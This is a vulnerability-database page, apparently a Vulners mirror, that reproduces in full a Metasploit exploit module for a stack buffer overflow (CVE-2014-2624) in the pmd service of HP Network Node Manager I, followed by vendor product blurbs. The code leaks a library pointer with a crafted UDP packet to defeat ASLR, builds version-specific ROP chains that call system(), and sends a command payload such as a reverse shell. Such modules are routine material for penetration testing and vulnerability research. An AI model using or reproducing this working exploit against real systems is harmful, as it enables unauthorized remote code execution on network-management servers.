Lucene search
K

HP Network Node Manager I PMD Buffer Overflow

🗓️ 10 Oct 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 19 Views

HP Network Node Manager I PMD Buffer Overflow vulnerability in pmd service due to insecure functions strcpy and strcat in handling stack_option packets with user-controlled data. Uses proto_tbl packet to bypass ASLR and build the rop chain to avoid NX

Related
Code

                                                ##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
 
  include Msf::Exploit::Remote::Udp
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HP Network Node Manager I PMD Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack buffer overflow in HP Network Node Manager I (NNMi). The
        vulnerability exists in the pmd service, due to the insecure usage of functions like
        strcpy and strcat while handling stack_option packets with user controlled data. In
        order to bypass ASLR this module uses a proto_tbl packet to leak an libov pointer from
        the stack and finally build the rop chain to avoid NX.
      },
      'Author'         =>
        [
          'd(-_-)b',     # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2014-2624'],
          ['ZDI', '14-305']
        ],
      'Payload'        =>
        {
          'BadChars'    => "\x00",
          'Space'       => 3000,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd cmd_bash',
              'RequiredCmd' => 'generic python perl openssl bash-tcp gawk'
            }
        },
      'Arch'           => ARCH_CMD,
      'Platform'       => 'unix',
      'Targets'        =>
        [
          ['Automatic', {}],
          ['HP NNMi 9.10 / CentOS 5',
            {
              # ptr to .rodata with format specifier
              #.rodata:0003BE86 aS_1            db '%s',0
              'ov_offset'      => 0x3BE86,
              :rop             => :rop_hp_nnmi_9_10
            }
          ],
          ['HP NNMi 9.20 / CentOS 6',
            {
              # ptr to .rodata with format specifier
              #.rodata:0003C2D6 aS_1            db '%s',0
              'ov_offset'      => 0x3c2d8,
              :rop             => :rop_hp_nnmi_9_20
            }
          ]
        ],
      'Privileged'     => false, # true for HP NNMi 9.10, false for HP NNMi 9.20
      'DisclosureDate' => 'Sep 09 2014',
      'DefaultTarget'  => 0
      ))
 
    register_options([ Opt::RPORT(7426) ], self.class)
  end
 
  def check
    header = [
      0x2a5,  # pmdmgr_init pkt
      0x3cc,  # signature
      0xa0c,  # signature
      0xca8   # signature
    ].pack("V")
 
    data = "\x00" * (0xfa4 - header.length)
 
    pkt = header + data
 
    connect_udp
    udp_sock.put(pkt)
    res = udp_sock.timed_read(8, 1)
    if res.blank?
      # To mitigate MacOSX udp sockets behavior
      # see https://dev.metasploit.com/redmine/issues/7480
      udp_sock.put(pkt)
      res = udp_sock.timed_read(8)
    end
    disconnect_udp
 
    if res.blank?
      return Exploit::CheckCode::Unknown
    elsif res.length == 8 && res.unpack("V").first == 0x2a5
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Unknown
    end
  end
 
  def exploit
    connect_udp
    # info leak with a "proto_tbl" packet
    print_status("Sending a 'proto_tbl' request...")
    udp_sock.put(proto_tbl_pkt)
 
    res = udp_sock.timed_read(13964, 1)
    if res.blank?
      # To mitigate MacOSX udp sockets behavior
      # see https://dev.metasploit.com/redmine/issues/7480
      udp_sock.put(proto_tbl_pkt)
      res = udp_sock.timed_read(13964)
    end
 
    if res.blank?
      fail_with(Failure::Unknown, "Unable to get a 'proto_tbl' response...")
    end
 
    if target.name == 'Automatic'
      print_status("Fingerprinting target...")
      my_target = auto_target(res)
      fail_with(Failure::NoTarget, "Unable to autodetect target...") if my_target.nil?
    else
      my_target = target
      fail_with(Failure::Unknown, "Unable to leak libov base address...") unless find_ov_base(my_target, res)
    end
 
    print_good("Exploiting #{my_target.name} with libov base address at 0x#{@ov_base.to_s(16)}...")
 
    # exploit with a "stack_option_pkt" packet
    udp_sock.put(stack_option_pkt(my_target, @ov_base))
 
    disconnect_udp
  end
 
  def rop_hp_nnmi_9_10(ov_base)
    rop = rand_text_alpha(775)
    rop << [0x808d7c1].pack("V")          # pop ebx ; pop ebp ; ret
    rop << [ov_base + 0x481A8].pack("V")  # ebx: libov .got
    rop << [0x8096540].pack("V")          # ptr to .data where user controlled string will be stored:
                                          # "PMD Stack option specified, but stack not available (user_controlled)"
    rop << [0x808d7c2].pack("V")          # pop ebp # ret
    rop << [0x08096540 + 4732].pack("V")  # ebp: ptr to our controlled data in .data (+0x1028 to compensate)
    rop << [ov_base +  0x1D692].pack("V") # ptr to 'call _system' sequence:
                                          #.text:0001D692  lea     eax, [ebp+dest]
                                          #.text:0001D698  push    eax             ; command
                                          #.text:0001D699  call    _system
    rop
  end
 
  def rop_hp_nnmi_9_20(ov_base)
    rop = rand_text_alpha(775)
    rop << [0x808dd70].pack("V")                      # pop eax ; pop ebx ; pop ebp ; ret
    rop << [0xf7f61cd0 + ov_base + 0x1dae6].pack("V") # eax: ptr to 'call _system' sequence
                                                      #.text:0001DAE6  lea     eax, [ebp+dest] (dest = -0x1028)
                                                      #.text:0001DAEC  push    eax             ; command
                                                      #.text:0001DAED  call    _system
    rop << [0x08097160].pack("V")                     # ebx: ptr to .data where user controlled string will be stored:
                                                      # "PMD Stack option specified, but stack not available (user_controlled)"
    rop << rand_text_alpha(4)                         # ebp: padding
    rop << [0x804fb86].pack("V")                      # add eax 0x809e330 ; add ecx ecx ; ret (control eax)
    rop << [0x8049ac4].pack("V")                      # xchg eax, edi ; ret
    rop << [0x808dd70].pack("V")                      # pop eax ; pop ebx ; pop ebp ; ret
    rop << [0xf7f61cd0 + ov_base + 0x47f1c].pack("V") # eax: libov .got base
    rop << rand_text_alpha(4)                         # ebx: padding
    rop << [0x8097160 + 4764].pack("V")               # ebp: ptr to our controlled data in .data (+0x1028 to compensate)
    rop << [0x804fb86].pack("V")                      # add eax 0x809e330 ; add ecx ecx ; ret (control eax)
    rop << [0x805a58d].pack("V")                      # xchg ebx eax ; and eax 0xc4830001 ; and cl cl ; ret (ebx: libov .got)
    rop << [0x8049ac4].pack("V")                      # xchg eax, edi ; ret ; (eax: call to system sequence from libov)
    rop << [0x80528BC].pack("V")                      # jmp eax
 
    rop
  end
 
  def stack_option_pkt(t, ov_base)
    hdr = [0x2a9].pack("V")             # stack_option packet
    data = "-SA"                        # stack name (invalid one 'A')
    data << ";"                         # separator
    data << self.send(t[:rop], ov_base) # malformed stack options
    data << payload.encoded
    data << ";\n"
    data << "\x00" * (0xfa4 - data.length - hdr.length)
 
    hdr + data
  end
 
  def proto_tbl_pkt
    hdr = [0x2aa].pack("V") # proto_tbl packet
    data = "\x00" * (0xfa4 - hdr.length)
 
    hdr + data
  end
 
  def base(address, offset)
    address - offset
  end
 
  def find_ov_base(t, data)
    print_status("Searching #{t.name} pointers...")
    i = 0
    data.unpack("V*").each do |int|
      if base(int, t['ov_offset']) % 0x1000 == 0
        print_status("Pointer 0x#{int.to_s(16)} found at offset #{i * 4}")
        @ov_base = base(int, t['ov_offset'])
        return true
      end
      i = i + 1
    end
 
    false
  end
 
  def auto_target(data)
    targets.each do |t|
      next if t.name == 'Automatic'
      if find_ov_base(t, data)
        return t
      end
    end
 
    nil
  end
 
end
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation